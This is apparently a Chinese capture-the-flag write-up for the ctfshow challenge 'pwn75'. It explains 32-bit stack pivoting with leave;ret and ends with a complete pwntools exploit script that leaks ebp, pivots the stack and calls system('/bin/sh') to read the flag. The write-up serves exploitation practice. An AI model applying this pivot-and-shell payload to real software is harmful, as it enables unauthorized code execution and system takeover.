pwn75
第十次看栈迁移,终于有了点感觉
栈迁移
当题目限制输入的空间,只能覆盖到rbp,ret_add 时,一般会采用栈迁移
原理
栈迁移关键是利用leave;ret指令:
leave ====> mov rsp rbp;pop rbp
ret ====> pop rip
执行leave:mov rsp rbp 先将rsp迁移到rbp的地址,此时rsp和rbp指向的位置又可以当作栈顶也可以当作栈底。pop rbp 将rsp的内容赋值给rbp。(pop指令是将rsp的内容弹出并赋给相应寄存器,且 rsp + 8)
这里需要注意rsp的内容和rsp是不一样的,rsp大多时候是一个地址,而rsp的内容可以是地址也可以不是地址
当我们执行 pop rbp 后,rsp + 8 下移一个内存单元
执行ret:pop eip,将栈顶的内容(ret_add)赋值给rip
栈迁移的利用
栈迁移需要两次leave;ret
- 第一次leave;ret,劫持rbp到目标地址
- 第二次leave;ret,将rsp也迁移到rbp的位置,接着 pop rbp,rsp+8 将指向下一个内存单元,从而 getshell
具体内容和原理可以查看这些文章:
在第二篇文章中还提到了send和sendline选取的相关问题
send和sendline的选择
read 既可以用 send 又可以用 sendline
gets | scanf | fgets 只能用 sendline ,因为这些函数只有接收到换行符才会停止
puts | printf 在遇到\x00之前会一直输出,直到有NULL字符或者\x00
检查保护,32位只开了代码执行保护
查看程序,存在一个system。查看ctfshow函数,先对s进行了初始化,将前0x20都填充为0。read的长度只有0x30,最多只能溢出到ebp的位置,没办法修改ret_add 。read后有一个printf函数,printf函数接收到\x00才会截止,所以我们可以通过read和printf泄露出ebp的内容(main函数中ebp的位置),通过输入处的地址与main函数的栈底地址找到他们之间的相对偏移,从而通过泄露出的ebp的内容得到输入处的地址。
要知道输入处与 ebp 的偏移,就需要进行动态调试。直接 start 进入,在read输入完后用 stack指令查看栈
计算偏移量为0x38,因此只需要将得到的ebp内容减去0x38就可以得到输入处的地址,这里定义为buf
0xffffd0e8 - 0xffffd0b0 = 0x38
因此,我们有了大致的思路:第一次read泄露出ebp内容并且计算出buf的地址,第二次read首先需要填入32ret2libc的ROP链,再劫持 ebp 到 buf-4,再将ret_add改为leave ret。
这里有两个需要注意的地方,为什么需要两次 leave ret(ctfshow函数末尾自带一次,ret_add一次)以及为什么 ebp 劫持的地方为 buf-4。第一次函数自带的 leave ret 只能将 ebp 劫持到 buf-4的地方,接着 ret 部分的 pop eip 将会把程序流劫持到第二次 leave ret ,这里我们逐步分析。mov esp ebp 先将esp迁移到ebp的地址,也就是 buf-4 ,pop ebp 将esp的内容赋值给ebp(ebp赋什么值没影响,因为ebp的任务是将esp带到ROP链的存储段),pop后esp+4,接着esp就到了buf的位置,pop eip控制程序流从填入的ROP链开始执行,这也是为什么需要填充 buf-4 的原因
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*
#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
host='pwn.challenge.ctf.show'
port=28199
file_name='pwn'
Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================
local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)
def Start():
if args.C:
ROPgadget(local_file)
exit(0)
elif args.CL:
ROPgadget(local_libc)
exit(0)
elif args.G:
gdbscript = f'b *{Breakpoint_NoPIE}'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.GP:
gdbscript = f'b *$rebase({Breakpoint_PIE})'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.P:
io = process(local_file)
else:
io = remote(host,port)
return io
def Exp():
1==1
payload1 = b'a'*(0x28)
io.sendafter(b'codename:',payload1)
io.recvuntil(b'a'*(0x28))
ebp_add = u32(io.recv(4).ljust(4,b'\x00'))
print(f'ebp_add: {hex(ebp_add)}')
buf_add = ebp_add - 0x38
print(f'buf_add: {hex(buf_add)}')
leave_ret = 0x08048766
system_add = 0x08048400
payload2 = p32(system_add) + p32(0) + p32(buf_add+12) + b"/bin/sh\x00"
payload2 = payload2.ljust(0x28,b"a") + p32(buf_add-4) + p32(leave_ret)
io.sendafter(b'do?',payload2)
if __name__=='__main__':
io=Start()
Exp()
io.sendline(b'ls')
io.sendline(b"cat flag")
io.interactive()
这里需要注意 buf_add+12 是指向填入 /bin/sh\x00 的地址